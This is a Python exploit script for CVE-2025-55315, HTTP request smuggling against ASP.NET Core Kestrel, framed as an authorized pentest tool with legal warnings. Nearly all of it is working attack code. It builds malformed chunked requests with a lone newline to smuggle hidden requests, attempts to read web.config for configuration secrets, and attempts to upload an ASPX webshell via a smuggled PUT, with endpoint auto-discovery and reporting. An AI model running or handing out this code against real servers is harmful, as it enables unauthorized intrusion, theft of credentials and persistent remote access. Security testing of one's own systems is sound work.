#!/usr/bin/env python3 """ CVE-2025-55315 Pentest Tool - Single Target Focused HTTP Request Smuggling Exploitation for ASP.NET Core Kestrel LEGAL WARNING: - Use ONLY on systems you own or have explicit written authorization to test - Unauthorized access to computer systems is illegal - This tool is for authorized penetration testing and security research ONLY """ import argparse import socket import ssl import sys import time import json import re from urllib.parse import urlparse from typing import List, Dict, Tuple, Optional from datetime import datetime import os # ANSI Colors for terminal output class Colors: HEADER = '\033[95m' BLUE = '\033[94m' CYAN = '\033[96m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' class CVE202555315Pentest: """Main pentest tool for CVE-2025-55315 exploitation""" # Common ASP.NET Core endpoints to test COMMON_ENDPOINTS = [ '/api/health', '/api/status', '/health', '/healthcheck', '/api/version', '/swagger', '/api/swagger', '/api/users', '/api/config', '/api/settings', '/Account/Login', '/Home/Index', '/api/values', '/', ] def __init__(self, target: str, port: int = None, use_ssl: bool = True, timeout: int = 10, verbose: bool = False): """ Initialize the pentest tool Args: target: Target hostname or URL (e.g., target.com or https://target.com) port: Port number (default: 443 for SSL, 80 for non-SSL) use_ssl: Use HTTPS/SSL connection timeout: Socket timeout in seconds verbose: Enable verbose output """ self.target = self._parse_target(target) self.use_ssl = use_ssl self.port = port or (443 if use_ssl else 80) self.timeout = timeout self.verbose = verbose self.results = { 'target': self.target, 'port': self.port, 'timestamp': datetime.now().isoformat(), 'vulnerable': False, 'tested_endpoints': [], 'successful_exploits': [], 'errors': [] } self._print_banner() def _parse_target(self, target: str) -> str: """Extract hostname from URL or return as-is""" if target.startswith('http://') or target.startswith('https://'): parsed = urlparse(target) return parsed.netloc return target def _print_banner(self): """Print tool banner""" banner = f""" {Colors.CYAN}╔════════════════════════════════════════════════════════════════════╗ ║ CVE-2025-55315 Pentest Tool - Single Target Analysis ║ ║ HTTP Request Smuggling - ASP.NET Core Kestrel ║ ╚════════════════════════════════════════════════════════════════════╝{Colors.ENDC} {Colors.YELLOW}⚠️ LEGAL WARNING: Authorized Use Only!{Colors.ENDC} {Colors.YELLOW}This tool must ONLY be used on systems you own or have written permission to test.{Colors.ENDC} {Colors.BOLD}Target:{Colors.ENDC} {self.target}:{self.port} {Colors.BOLD}SSL:{Colors.ENDC} {'Enabled' if self.use_ssl else 'Disabled'} {Colors.BOLD}Timestamp:{Colors.ENDC} {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} """ print(banner) def _log(self, message: str, level: str = 'INFO'): """Log message with color coding""" timestamp = datetime.now().strftime('%H:%M:%S') colors = { 'INFO': Colors.BLUE, 'SUCCESS': Colors.GREEN, 'WARNING': Colors.YELLOW, 'ERROR': Colors.RED, 'DEBUG': Colors.CYAN } color = colors.get(level, Colors.ENDC) print(f"{color}[{timestamp}] [{level}]{Colors.ENDC} {message}") def _create_connection(self) -> Tuple[socket.socket, bool]: """ Create TCP connection to target Returns: Tuple of (socket, success) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(self.timeout) if self.use_ssl: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = context.wrap_socket(sock, server_hostname=self.target) sock.connect((self.target, self.port)) return sock, True except Exception as e: self._log(f"Connection failed: {e}", 'ERROR') return None, False def check_server_info(self) -> Dict: """ Perform initial reconnaissance - check server headers Returns: Dict with server information """ self._log("Performing reconnaissance...", 'INFO') sock, success = self._create_connection() if not success: return {'error': 'Connection failed'} try: # Send simple GET request request = ( f"GET / HTTP/1.1\r\n" f"Host: {self.target}\r\n" f"Connection: close\r\n" f"\r\n" ) sock.sendall(request.encode()) response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break sock.close() # Parse response response_str = response.decode('utf-8', errors='ignore') headers = response_str.split('\r\n\r\n')[0] info = { 'server': 'Unknown', 'asp_net_version': 'Unknown', 'kestrel_detected': False, 'http_version': 'Unknown' } # Extract Server header server_match = re.search(r'Server:\s*(.+)', headers, re.IGNORECASE) if server_match: info['server'] = server_match.group(1).strip() if 'Kestrel' in info['server']: info['kestrel_detected'] = True self._log(f"✓ Kestrel detected: {info['server']}", 'SUCCESS') # Extract ASP.NET version aspnet_match = re.search(r'X-Powered-By:\s*(.+)', headers, re.IGNORECASE) if aspnet_match: info['asp_net_version'] = aspnet_match.group(1).strip() # Extract HTTP version http_match = re.search(r'HTTP/(\d\.\d)', headers) if http_match: info['http_version'] = http_match.group(1) if info['http_version'] == '1.1': self._log(f"✓ HTTP/1.1 detected (vulnerable protocol)", 'SUCCESS') else: self._log(f"⚠ HTTP/{info['http_version']} detected (may not be vulnerable)", 'WARNING') return info except Exception as e: self._log(f"Reconnaissance error: {e}", 'ERROR') return {'error': str(e)} def test_vulnerability(self, endpoint: str = '/') -> Tuple[bool, str]: """ Test if endpoint is vulnerable to CVE-2025-55315 Args: endpoint: Endpoint to test Returns: Tuple of (is_vulnerable, details) """ self._log(f"Testing endpoint: {endpoint}", 'INFO') sock, success = self._create_connection() if not success: return False, "Connection failed" try: # Build CVE-2025-55315 exploit payload # Uses lone \n in chunk extension to trigger request smuggling payload = ( f"POST {endpoint} HTTP/1.1\r\n" f"Host: {self.target}\r\n" f"Transfer-Encoding: chunked\r\n" f"Content-Type: application/json\r\n" f"\r\n" f"2;\n" # VULNERABILITY: Lone \n instead of \r\n f"XX" f"\r\n" f"0\r\n" f"\r\n" f"GET /smuggled-request HTTP/1.1\r\n" f"Host: {self.target}\r\n" f"X-Smuggled: true\r\n" f"\r\n" ) if self.verbose: self._log(f"Payload:\n{payload}", 'DEBUG') sock.sendall(payload.encode()) # Read response response = b"" try: while True: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: pass sock.close() response_str = response.decode('utf-8', errors='ignore') # Analyze response for vulnerability indicators if "400 Bad Request" in response_str or "400" in response_str[:100]: self._log(f"✓ Endpoint NOT vulnerable (400 Bad Request)", 'SUCCESS') return False, "Server rejected malformed chunk header (patched)" elif response_str.count("HTTP/1.1") > 1: self._log(f"✗ VULNERABLE! Multiple HTTP responses detected", 'ERROR') return True, "Request smuggling successful - multiple responses" elif "500" in response_str or "502" in response_str: self._log(f"⚠ Possibly vulnerable (server error)", 'WARNING') return True, "Server error indicates possible smuggling" elif len(response_str) > 0: self._log(f"⚠ Response received but inconclusive", 'WARNING') return None, "Inconclusive - manual review needed" else: self._log(f"⚠ No response received", 'WARNING') return None, "No response - possible timeout" except Exception as e: self._log(f"Test error: {e}", 'ERROR') return False, f"Error: {str(e)}" def read_webconfig(self, endpoint: str = '/') -> Tuple[bool, Optional[str]]: """ Attempt to read web.config file using request smuggling Args: endpoint: Endpoint to exploit Returns: Tuple of (success, web.config content or error message) """ self._log(f"Attempting to read web.config via {endpoint}", 'INFO') sock, success = self._create_connection() if not success: return False, "Connection failed" try: # Smuggle a request to read web.config payload = ( f"POST {endpoint} HTTP/1.1\r\n" f"Host: {self.target}\r\n" f"Transfer-Encoding: chunked\r\n" f"Content-Type: application/json\r\n" f"\r\n" f"2;\n" # VULNERABILITY: Lone \n f"XX" f"\r\n" f"0\r\n" f"\r\n" f"GET /web.config HTTP/1.1\r\n" f"Host: {self.target}\r\n" f"X-Purpose: ReadConfig\r\n" f"\r\n" ) sock.sendall(payload.encode()) response = b"" try: while True: chunk = sock.recv(8192) if not chunk: break response += chunk except socket.timeout: pass sock.close() response_str = response.decode('utf-8', errors='ignore') # Look for web.config content if '' in response_str or '' in response_str: self._log(f"✓ web.config file retrieved!", 'SUCCESS') # Extract config content if '\r\n\r\n' in response_str: parts = response_str.split('\r\n\r\n', 1) if len(parts) > 1: config_content = parts[1] return True, config_content return True, response_str elif "404" in response_str: self._log(f"✗ web.config not found (404)", 'WARNING') return False, "web.config not accessible" elif "403" in response_str: self._log(f"✗ Access denied (403)", 'WARNING') return False, "web.config access forbidden" else: self._log(f"⚠ Unable to retrieve web.config", 'WARNING') return False, "Unable to read config file" except Exception as e: self._log(f"Error reading web.config: {e}", 'ERROR') return False, f"Error: {str(e)}" def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx', shell_content: str = None) -> Tuple[bool, str]: """ Attempt to upload webshell using request smuggling Args: endpoint: Endpoint to exploit shell_path: Path where shell should be uploaded shell_content: Content of webshell (optional, uses default if not provided) Returns: Tuple of (success, message) """ self._log(f"⚠️ ATTEMPTING WEBSHELL UPLOAD - High risk operation!", 'WARNING') # Default minimal ASPX webshell (for demonstration) if not shell_content: shell_content = '''<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> ''' sock, success = self._create_connection() if not success: return False, "Connection failed" try: # Smuggle a PUT/POST request to upload file body = shell_content content_length = len(body) payload = ( f"POST {endpoint} HTTP/1.1\r\n" f"Host: {self.target}\r\n" f"Transfer-Encoding: chunked\r\n" f"Content-Type: application/json\r\n" f"\r\n" f"2;\n" # VULNERABILITY f"XX" f"\r\n" f"0\r\n" f"\r\n" f"PUT {shell_path} HTTP/1.1\r\n" f"Host: {self.target}\r\n" f"Content-Type: application/octet-stream\r\n" f"Content-Length: {content_length}\r\n" f"\r\n" f"{body}" ) if self.verbose: self._log(f"Upload payload size: {len(payload)} bytes", 'DEBUG') sock.sendall(payload.encode()) response = b"" try: while True: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: pass sock.close() response_str = response.decode('utf-8', errors='ignore') # Check upload status if "200" in response_str[:100] or "201" in response_str[:100]: self._log(f"✓ Webshell may have been uploaded to {shell_path}", 'SUCCESS') return True, f"Upload may be successful - check {shell_path}" elif "403" in response_str or "405" in response_str: self._log(f"✗ Upload blocked (forbidden/method not allowed)", 'WARNING') return False, "Upload blocked by server" else: self._log(f"⚠ Upload status unclear", 'WARNING') return False, "Unable to confirm upload" except Exception as e: self._log(f"Upload error: {e}", 'ERROR') return False, f"Error: {str(e)}" def auto_discover_endpoints(self) -> List[str]: """ Automatically discover active endpoints on target Returns: List of responsive endpoints """ self._log("Starting endpoint auto-discovery...", 'INFO') active_endpoints = [] for endpoint in self.COMMON_ENDPOINTS: try: sock, success = self._create_connection() if not success: continue request = ( f"GET {endpoint} HTTP/1.1\r\n" f"Host: {self.target}\r\n" f"Connection: close\r\n" f"\r\n" ) sock.sendall(request.encode()) response = sock.recv(1024).decode('utf-8', errors='ignore') sock.close() # Check if endpoint is active (not 404) if response and "404" not in response[:100]: status_match = re.search(r'HTTP/\d\.\d\s+(\d+)', response) status = status_match.group(1) if status_match else 'Unknown' active_endpoints.append(endpoint) self._log(f" ✓ {endpoint} [Status: {status}]", 'SUCCESS') time.sleep(0.5) # Rate limiting except Exception as e: if self.verbose: self._log(f" ✗ {endpoint} [Error: {e}]", 'DEBUG') continue self._log(f"Discovery complete: {len(active_endpoints)} active endpoints found", 'INFO') return active_endpoints def run_full_scan(self, endpoints: List[str] = None, read_config: bool = True, upload_shell: bool = False) -> Dict: """ Run complete penetration test Args: endpoints: List of endpoints to test (None for auto-discovery) read_config: Attempt to read web.config upload_shell: Attempt webshell upload (requires confirmation) Returns: Dictionary with scan results """ self._log("=" * 70, 'INFO') self._log("STARTING FULL PENETRATION TEST", 'INFO') self._log("=" * 70, 'INFO') # Step 1: Reconnaissance self._log("\n[STEP 1/5] Reconnaissance", 'INFO') server_info = self.check_server_info() self.results['server_info'] = server_info # Step 2: Endpoint Discovery self._log("\n[STEP 2/5] Endpoint Discovery", 'INFO') if endpoints is None: endpoints = self.auto_discover_endpoints() else: self._log(f"Using provided endpoints: {endpoints}", 'INFO') self.results['tested_endpoints'] = endpoints # Step 3: Vulnerability Testing self._log("\n[STEP 3/5] CVE-2025-55315 Vulnerability Testing", 'INFO') vulnerable_endpoints = [] for endpoint in endpoints: is_vuln, details = self.test_vulnerability(endpoint) if is_vuln: vulnerable_endpoints.append({ 'endpoint': endpoint, 'details': details }) self.results['vulnerable'] = True self.results['vulnerable_endpoints'] = vulnerable_endpoints if not vulnerable_endpoints: self._log("\n✓ No vulnerable endpoints found - target may be patched", 'SUCCESS') return self.results # Step 4: web.config Reading if read_config and vulnerable_endpoints: self._log("\n[STEP 4/5] Attempting web.config Extraction", 'INFO') for vuln_ep in vulnerable_endpoints: success, content = self.read_webconfig(vuln_ep['endpoint']) if success: self.results['webconfig'] = content self.results['successful_exploits'].append({ 'type': 'web.config_read', 'endpoint': vuln_ep['endpoint'] }) break # Step 5: Webshell Upload (with confirmation) if upload_shell and vulnerable_endpoints: self._log("\n[STEP 5/5] Webshell Upload Module", 'WARNING') self._log("⚠️ WARNING: This will attempt to upload a file to the target!", 'WARNING') confirmation = input(f"\n{Colors.YELLOW}Are you ABSOLUTELY SURE you want to proceed? Type 'YES' to confirm: {Colors.ENDC}") if confirmation == "YES": for vuln_ep in vulnerable_endpoints: success, msg = self.upload_webshell( endpoint=vuln_ep['endpoint'], shell_path='/test_shell.aspx' ) if success: self.results['successful_exploits'].append({ 'type': 'webshell_upload', 'endpoint': vuln_ep['endpoint'], 'shell_path': '/test_shell.aspx' }) break else: self._log("Webshell upload cancelled by user", 'INFO') return self.results def generate_report(self, output_file: str = None): """ Generate detailed penetration test report Args: output_file: Path to save report (optional) """ report = [] report.append(f"\n{'='*70}") report.append(f"CVE-2025-55315 PENETRATION TEST REPORT") report.append(f"{'='*70}\n") report.append(f"Target: {self.results['target']}:{self.results['port']}") report.append(f"Timestamp: {self.results['timestamp']}") report.append(f"Vulnerable: {Colors.RED if self.results['vulnerable'] else Colors.GREEN}") report.append(f" {'YES - CRITICAL' if self.results['vulnerable'] else 'NO - SECURE'}") report.append(f"{Colors.ENDC}") if self.results.get('server_info'): report.append(f"\n--- Server Information ---") for key, value in self.results['server_info'].items(): report.append(f" {key}: {value}") if self.results.get('tested_endpoints'): report.append(f"\n--- Tested Endpoints ({len(self.results['tested_endpoints'])}) ---") for ep in self.results['tested_endpoints']: report.append(f" {ep}") if self.results.get('vulnerable_endpoints'): report.append(f"\n{Colors.RED}--- VULNERABLE ENDPOINTS ({len(self.results['vulnerable_endpoints'])}) ---{Colors.ENDC}") for vuln in self.results['vulnerable_endpoints']: report.append(f" {Colors.RED}✗ {vuln['endpoint']}{Colors.ENDC}") report.append(f" Details: {vuln['details']}") if self.results.get('successful_exploits'): report.append(f"\n{Colors.RED}--- SUCCESSFUL EXPLOITS ---{Colors.ENDC}") for exploit in self.results['successful_exploits']: report.append(f" ✓ {exploit['type']} via {exploit['endpoint']}") if self.results.get('webconfig'): report.append(f"\n--- web.config Content (TRUNCATED) ---") config_preview = self.results['webconfig'][:500] report.append(f"{config_preview}...") report_str = '\n'.join(report) print(report_str) # Save to file if output_file: try: with open(output_file, 'w', encoding='utf-8') as f: # Remove ANSI codes for file output clean_report = re.sub(r'\033\[[0-9;]+m', '', report_str) f.write(clean_report) # Add JSON data f.write(f"\n\n{'='*70}\n") f.write("RAW RESULTS (JSON):\n") f.write(json.dumps(self.results, indent=2)) self._log(f"Report saved to: {output_file}", 'SUCCESS') except Exception as e: self._log(f"Failed to save report: {e}", 'ERROR') def main(): parser = argparse.ArgumentParser( description='CVE-2025-55315 Pentest Tool - Authorized Security Testing Only', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Basic vulnerability scan python3 cve_2025_55315_pentest.py -t target.com # Test specific endpoint python3 cve_2025_55315_pentest.py -t target.com -e /api/login # Full scan with web.config extraction python3 cve_2025_55315_pentest.py -t target.com --read-config # Full scan including webshell upload (requires confirmation) python3 cve_2025_55315_pentest.py -t target.com --upload-shell # Non-SSL target on custom port python3 cve_2025_55315_pentest.py -t target.com -p 8080 --no-ssl # Save report to file python3 cve_2025_55315_pentest.py -t target.com -o report.txt LEGAL WARNING: This tool is for AUTHORIZED security testing only! Unauthorized access to computer systems is ILLEGAL. """ ) parser.add_argument('-t', '--target', required=True, help='Target hostname or URL (e.g., target.com)') parser.add_argument('-p', '--port', type=int, help='Port number (default: 443 for SSL, 80 for non-SSL)') parser.add_argument('-e', '--endpoint', action='append', help='Specific endpoint(s) to test (can be used multiple times)') parser.add_argument('--no-ssl', action='store_true', help='Disable SSL/HTTPS (use HTTP)') parser.add_argument('--read-config', action='store_true', help='Attempt to read web.config file') parser.add_argument('--upload-shell', action='store_true', help='Attempt webshell upload (requires confirmation)') parser.add_argument('-o', '--output', help='Save report to file') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') parser.add_argument('--timeout', type=int, default=10, help='Socket timeout in seconds (default: 10)') args = parser.parse_args() # Legal warning print(f"\n{Colors.RED}{Colors.BOLD}{'='*70}") print("LEGAL WARNING - READ CAREFULLY") print(f"{'='*70}{Colors.ENDC}") print(f"{Colors.YELLOW}This tool performs active exploitation attempts on the target system.") print("You MUST have explicit written authorization to test the target.") print(f"Unauthorized access to computer systems is a CRIME.{Colors.ENDC}\n") confirmation = input(f"{Colors.BOLD}Do you have authorization to test {args.target}? (yes/no): {Colors.ENDC}") if confirmation.lower() != 'yes': print(f"\n{Colors.RED}Test cancelled. Obtain proper authorization before proceeding.{Colors.ENDC}\n") sys.exit(0) # Initialize tool pentest = CVE202555315Pentest( target=args.target, port=args.port, use_ssl=not args.no_ssl, timeout=args.timeout, verbose=args.verbose ) # Run scan try: results = pentest.run_full_scan( endpoints=args.endpoint, read_config=args.read_config, upload_shell=args.upload_shell ) # Generate report pentest.generate_report(output_file=args.output) # Exit with appropriate code sys.exit(1 if results['vulnerable'] else 0) except KeyboardInterrupt: print(f"\n\n{Colors.YELLOW}Scan interrupted by user{Colors.ENDC}") sys.exit(130) except Exception as e: print(f"\n{Colors.RED}Fatal error: {e}{Colors.ENDC}") if args.verbose: import traceback traceback.print_exc() sys.exit(1) if __name__ == '__main__': main()